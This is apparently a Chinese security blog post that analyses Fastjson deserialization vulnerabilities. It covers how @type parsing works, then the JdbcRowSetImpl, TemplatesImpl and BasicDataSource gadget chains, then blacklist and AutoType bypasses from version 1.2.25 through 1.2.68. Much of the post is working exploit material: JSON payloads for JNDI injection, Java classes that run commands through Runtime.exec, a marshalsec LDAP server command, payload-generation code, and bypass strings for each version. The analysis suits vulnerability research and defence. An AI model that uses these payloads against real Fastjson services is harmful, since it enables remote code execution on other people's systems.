Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
序列化
使用JSON.toJSONString
public class Student { public int age; private String name; public void setName(String name){ this.name = name; } public String getName(){ return this.name; } }
可以进行序列化操作:
Student student = new Student(); student.setName("EastJun"); String a = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(a);
其中指定SerializerFeature.WriteClassName
参数可以在序列化字符串中加入类的ClassName,上面的代码输出结果如下:
{"@type":"Student","age":0,"name":"EastJun"}
反序列化
使用JSON.parseObject
和JSON.parse
可以进行反序列化操作,使用@type
可以反序列化任意类:
JSONObject jobj = JSON.parseObject("{\"@type\":\"Student\",\"age\":10,\"name\":\"EastJun\"}"); System.out.println(jobj);
执行上面这段代码可以将字符串进行反序列化,其中使用@type
指定反序列化的ClassName。
在反序列化时会调用类中成员变量的set和get方法,例如上面的Student类定义了一个public和一个private类型的成员变量,对于name这个private变量的设置是调用setName
方法实现的,而对于public的变量则直接进行赋,而类中如果存在setAge
方法则在反序列化时会调用setAge
方法对age进行赋值。
反序列化流程
FastJson在使用parseObject
进行反序列化时将传入的字符串交给parse
函数进行处理,然后将处理结果转为JSONObject
类
在JSON.parse
函数中首先创建一个JSONParser
,然后调用parser.parse()
进行反序列化
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse();
创建JSONParser
时在DefaultJSONParser
的构造方法中会获取到传入的第一个字符串为{
,将token值设置为12:
if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); }
然后在parser.parse()
函数中根据token的值为12执行这一段代码:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName);
在parseObject
函数中获取到JSON的key值,如果key值为@type
则先使用TypeUtils.loadClass
对类进行加载,然后进行反序列化:
在TypeUtils.loadClass
函数中的代码如下:
这里有两个if语句,一个是判断[
字符串返回数组,另一个if语句用于递归地去除开头的L
和结尾的;
然后返回加载的Class
然后进入到getDeserializer()
方法获取Deserializer
进行反序列化:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName);
在getDeserializer()
方法中使用denyList
对可以进行反序列化的类进行限制:
在FastJson1.2.24版本的denyList中只有一个java.lang.Thread
类。
最后到达deserializer.deserialze
方法中进行对类反序列化,其中调用了get和set方法对成员变量进行赋值
JdbcRowSetImpl利用链
使用JdbcRowSetImpl可以进行JNDI注入:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}
将远程恶意类放在8888端口的http服务中:
public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"calc"}); } }
启动ldap服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit 9999
然后在反序列化后首先调用setDataSourceName()
方法设置dataSource
,然后调用setAutoCommit()
方法设置autoCommit
。
在setAutoCommit()
方法中调用connect()
函数时有这一段代码可以进行JNDI注入:
DataSource ds = (DataSource)ctx.lookup (getDataSourceName());
JNDI注入的原理之前写过:
TemplatesImpl利用链
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中的成员变量都是private属性的,而,所以这条链需要在parse时设置Feature.SupportNonPublicField
,然后在反序列化时FastJson可以进行反射调用给private的成员变量赋值
首先需要编译一个Evil类,然后将class文件转为base64形式
public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(new String[]{"calc"}); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } }
然后传入JSON字符串:
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["payload here"], "_name":"a", "_tfactory":{}, "_outputProperties":{} }
可以在Java中写这一段代码生成payload:
JavaClass javaClass = Repository.lookupClass(Evil.class); String b64 = new String(Base64.getEncoder().encode(javaClass.getBytes())); String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+b64+"\"],\"_name\":\"a\",\"_tfactory\":{},\"_outputProperties\":{}}"; System.out.println(payload); JSONObject jobj = JSON.parseObject(payload, Feature.SupportNonPublicField);
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类的内部有定义一个类加载器TransletClassLoader
可以用加载字节码:
static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } }
在FastJson反序列化TemplatesImpl
后会调用getOutputProperties()
方法,这个方法最终调用到getTransletInstance
方法时会使用TransletClassLoader
加载_bytecodes
中的字节码,然后判断父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,如果不是就会抛出异常:
最后调用newInstance()
方法对类进行实例化执行Evil类的构造方法进行RCE
BasicDataSource利用链
这条链使用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource
,首先需要引入Tomcat相关的包:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>10.0.16</version> </dependency>
payload如下:
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },"driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
在分析payload之前还得看看FastJson的特性:
首先在这里写一个Student类:
public class Student { public String getTest(){ return "abcd"; } }
在调用JSON.toJSONString()
方法进行反序列化时即是这里没有test成员变量也能调用这个getTets()
方法输出一个test参数:
{"test":"abcd"}
还有一个特性是在反序列化时如果key值为JSONObject,会调用JSONObject的toString()
方法,而调用JSONObject的toString()
方法时存在对getter方法的调用:
{{"x":{"@type":"Student"}}:"x"}
例如上面一段JSON字符串进行反序列化时同样会调用getTest()
方法
在上面这条链中FastJson对BasicDataSource
进行了反序列化,然后调用了getConnection()
方法,再经过一系列调用最后到了org.apache.tomcat.dbcp.dbcp2.DriverFactory
类中的createDriver()
方法,然后执行到Class.forName()
对类进行加载并执行static代码块:
这里在使用Class.forName
加载类时第三个参数为我们指定的类加载器:
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
然后这里使用了com.sun.org.apache.bcel.internal.util.ClassLoader
作为ClassLoader
,它可以从需要加载的类名中提取字节码进行加载:
这个类加载器检测了类名中是否包含$$BCEL$$
,如果包含则将后面的字符串提取出来进行解码作为字节码进行加载。
payload在Java中可以这样写:
JavaClass javaClass = Repository.lookupClass(Evil.class); String code = Utility.encode(javaClass.getBytes(), true); String payload = "{\n" + " {\n" + " \"x\":{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\"driverClassName\": \"$$BCEL$$"+code+"\"\n" + " }\n" + " }: \"x\"\n" + "}"; JSONObject jobj = JSON.parseObject(payload);
然后在Evil类的static代码块中写入恶意代码
public class Evil { static { try{ Runtime.getRuntime().exec(new String[]{"calc"}); }catch (Exception ignore){} } }
最终可以进行RCE:
修复与Bypass
ver>=1.2.25&ver<=1.2.41
在1.2.25版本以后默认关闭AutoType,还加入了checkAutoType()
使用黑名单+白名单对类进行检查,在开启黑名单时先使用白名单检测,再使用黑名单检测,而对黑名单的检测如下
for(mask = 0; mask < this.denyList.length; ++mask) { accept = this.denyList[mask]; if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } //somecode here if (clazz == null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); }
这里使用startsWith
检查黑名单,然后过了黑名单之后使用TypeUtils.loadClass()
对类进行加载,这个方法在前面有分析过,会递归地删除开头的L
和结尾的;
所以加入L
和;
即可绕过黑名单检测
payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}
ver=1.2.42
这个版本将黑名单换为十进制了,而且在checkAutoType时首先去除了L
和;
可以双写进行绕过:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}
ver=1.2.43
这个版本修复了多个L的情况,但是TypeUtils.loadClass()
中还有对[
进行特殊处理,所以可以用于绕过黑名单:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true]}}
ver<=1.2.47
1.2.47及以下的版本都可以在不开启AutoType时反序列化
payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/Exploit", "autoCommit": true } }
在这里首先进行反序列化的是java.lang.Class
类,对该类进行反序列时通过getDeserializer()
方法获取到的Deserializer
为MiscCodec
,然后会调用调用deserializer.deserialze()
方法,然后FastJson会获取val
的值并调用TypeUtils.loadClass
进行加载
然后FastJson会调用contextClassLoader.loadClass()
方法对类进行加载,然后调用mappings.put()
方法将恶意类放到mappings中:
接着在反序列化com.sun.rowset.JdbcRowSetImpl
时在checkAutoType()
方法时因为没有开启AutoType
所以跳过了黑名单的判断,然后调用TypeUtils.getClassFromMapping()
方法直接从mappings中获取类并返回。
后面就是利用JdbcRowSetImpl
类进行JNDI注入。
1.2.48版本对的修复方式是对TypeUtils.loadClass
增加了cache参数,默认为false
只有在cache参数为true时才会将类加入mappings中:
ver<=1.2.68
一直到这个版本都可以绕过AutoType进行反序列化,复现这个漏洞需要先在本地写一个可以利用的恶意类
package vul; public class VulAutoCloseable implements AutoCloseable { public VulAutoCloseable(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } @Override public void close() throws Exception { } }
payload:
{"@type":"java.lang.AutoCloseable","@type":"Evil","cmd":"calc"}
在传入上面这样的JSON字符串时可以反序列化这个类并执行命令。
可以绕过AutoType的原理是在checkAutoType()
方法中可以指定expectClass
,在指定expectClass
后只要加载的类不为这几个特殊的类都可以设置expectClassFlag
为true:
if (expectClass == null) { expectClassFlag = false; } else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) { expectClassFlag = true; } else { expectClassFlag = false; }
然后就能绕过这一段check进入TypeUtils.loadClass
对类进行加载
然后可以找到在ThrowableDeserializer
和JavaBeanDeserializer
中在调用checkAutoType()
方法时有指定expectClass
:
在前面调用getDeserializer()
方法获取Deserializer
时有这样一些判断,检查是否是这几个类的子类,然后创建对应的Deserializer
:
然后在调用JavaBeanDeserializer
的deserialze()
方法时可以绕过checkAutoType()
的检查反序列化实现了AutoCloseable
接口的类。
不过实际上这只是绕过了AutoType
的检查,实际利用还需要gadget,在BlackHat2021议题中有公布一些已知的gadget,包括mysql SSRF/RCE链和commons-io文件读取链:https://paper.seebug.org/1698/
Referer